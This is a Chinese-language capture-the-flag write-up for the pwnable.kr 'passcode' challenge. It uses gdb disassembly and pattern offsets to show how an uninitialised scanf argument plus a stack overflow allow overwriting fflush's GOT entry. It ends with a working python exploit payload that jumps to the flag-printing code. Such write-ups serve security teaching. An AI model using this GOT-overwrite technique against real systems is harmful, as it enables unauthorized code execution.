passcode
多种想法,运来GOT表这么覆盖!
看看程序有什么保护。可知程序开启了栈保护和 1
2
3
4
5
6
7
8passcode@ubuntu:~$ checksec passcode
[*] '/home/passcode/passcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
这道题的源码如下。
1 | #include <stdio.h> |
通过源码可以很容易发现,scanf("%d", passcode1);
和scanf("%d", passcode2);
这两个地方的参数应当传入引用,而不是原值scanf("%d", &passcode1);
和scanf("%d", &passcode2);
。
查看login
的汇编代码: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25(gdb) disas login
Dump of assembler code for function login:
0x08048564 <+0>: push %ebp
0x08048565 <+1>: mov %esp,%ebp
0x08048567 <+3>: sub $0x28,%esp
0x0804856a <+6>: mov $0x8048770,%eax
0x0804856f <+11>: mov %eax,(%esp)
0x08048572 <+14>: call 0x8048420 <printf@plt>
0x08048577 <+19>: mov $0x8048783,%eax
===> 0x0804857c <+24>: mov -0x10(%ebp),%edx
0x0804857f <+27>: mov %edx,0x4(%esp)
0x08048583 <+31>: mov %eax,(%esp)
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804858b <+39>: mov 0x804a02c,%eax
0x08048590 <+44>: mov %eax,(%esp)
0x08048593 <+47>: call 0x8048430 <fflush@plt>
0x08048598 <+52>: mov $0x8048786,%eax
0x0804859d <+57>: mov %eax,(%esp)
0x080485a0 <+60>: call 0x8048420 <printf@plt>
0x080485a5 <+65>: mov $0x8048783,%eax
===> 0x080485aa <+70>: mov -0xc(%ebp),%edx
0x080485ad <+73>: mov %edx,0x4(%esp)
0x080485b1 <+77>: mov %eax,(%esp)
0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt>passcode1
和passcode2
,但是此处使用的mov
,
mov -0x10(%ebp),%edx
的做法是将在[ebp-0x10]
地址的值传给edx
,如果是正确的程序,这里应当是lea -0x10(%ebp),%edx
,这里lea
指令为Load Effective Address
,将地址[ebp-0x10]
传给edx
。
所以运行结果得到了segmentation fault
错误。
这种做法的最大坏处就是如果passcode1
被控制,用户可以通过scanf("%d", passcode1);
写入任意值到内存的任意地址。
本次目的是跳入一下代码中去,可以拿到flag
,但是passcode1
和passcode2
无法通过读入以下条件语句中的值。
1
2
3
4if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
那么问题来了,怎么才能让程序调到这里面呢。
通过控制passcode1
的值,再通过scanf("%d", passcode1);
可以在覆盖某些函数地址为system("/bin/cat flag");
的地址,从而再次执行被篡改地址的函数时,触发攻击。
如何覆盖passcode1
的值?栈溢出?在当前函数login
中无法做到,但是在welcome
中存在栈溢出的漏洞,
1 | void welcome(){ |
scanf("%100s", name);
的%100s意味着只存入输入值的前100个字符。这100个字符能够覆盖到passcode1
在栈上的值呢。
这里login
,welcome
函数的栈基址ebp在同一位置,所以观察welcome
中的name
位置。
1 | (gdb) disas welcome |
name
的位置为ebp-0x70
,passcode1
和位置为ebp-0x10
,所以两者相距为0x60
也就是96,溢出肯定没问题。
但是我想说的是另一种确定偏移量的方法。利用gdb-peda
的pattern_create
和pattern_offset
两个命令。
pattern create size 生成特定长度字符串
pattern offset value 定位字符串
1 | gdb-peda$ pattern_create 100 |
将这100个字符的字符串传入程序。断点停在输入passcode1
前。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18[------------------------------------stack-------------------------------------]
0000| 0xffffcf30 --> 0x80487a3 --> 0x65006425 ('%d')
0004| 0xffffcf34 ("6AALAJAAfAA5AAKAAgAA6AAL")
0008| 0xffffcf38 ("AJAAfAA5AAKAAgAA6AAL")
0012| 0xffffcf3c ("fAA5AAKAAgAA6AAL")
0016| 0xffffcf40 ("AAKAAgAA6AAL")
0020| 0xffffcf44 ("AgAA6AAL")
0024| 0xffffcf48 ("6AAL")
0028| 0xffffcf4c --> 0x1ae10600
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x080485cc in login ()
gdb-peda$ x/xw $ebp-0x10
0xffffcf48: 0x4c414136
gdb-peda$ pattern_offset 0x4c414136
1279344950 found at offset: 96pattern_offset
查看passcode1
的值,偏移量为96。
好了,可以覆盖passcode1
了,那么该覆盖为什么值呢?
当然是覆盖函数的地址了,覆盖函数的GOT表中的地址。GOT表中存放的函数地址是在程序运行后,动态链接器加载的函数地址。
在system
函数前有fflush
和printf
两个函数可以用。
这里我选用fflush
,有两种方法可以查看GOT表内容。 ###
查看汇编代码中fflush
函数的代码
1 | (gdb) disas fflush |
使用objdump -R passcode
查看
1 | passcode: file format elf32-i386 |
查出的是fflush
函数地址为0x804a004
。我们将此地址中的值覆盖为我们system
代码的地址0x080485e3
。
1 | 0x080485d7 <+115>: movl $0x80487a5,(%esp) |
由于是整数输入,我们要将0x080485e3
表示为10进制的134514147。
所以,构造的payload为 1
python -c 'print "A"*96 +"\x04\xa0\x04\x08" + "134514147" ' | ./passcode
1 | passcode@ubuntu:~$ python -c 'print "A"*96 +"\x04\xa0\x04\x08" + "134514147" ' | ./passcode |
参考文献
[1] [Pwnable.kr] passcode writeup – Toddler’s bottle [2] pwn学习笔记汇总(持续更新) [3] [一些pwn题目的解题思路pwnable.kr [4] PEDA用法总结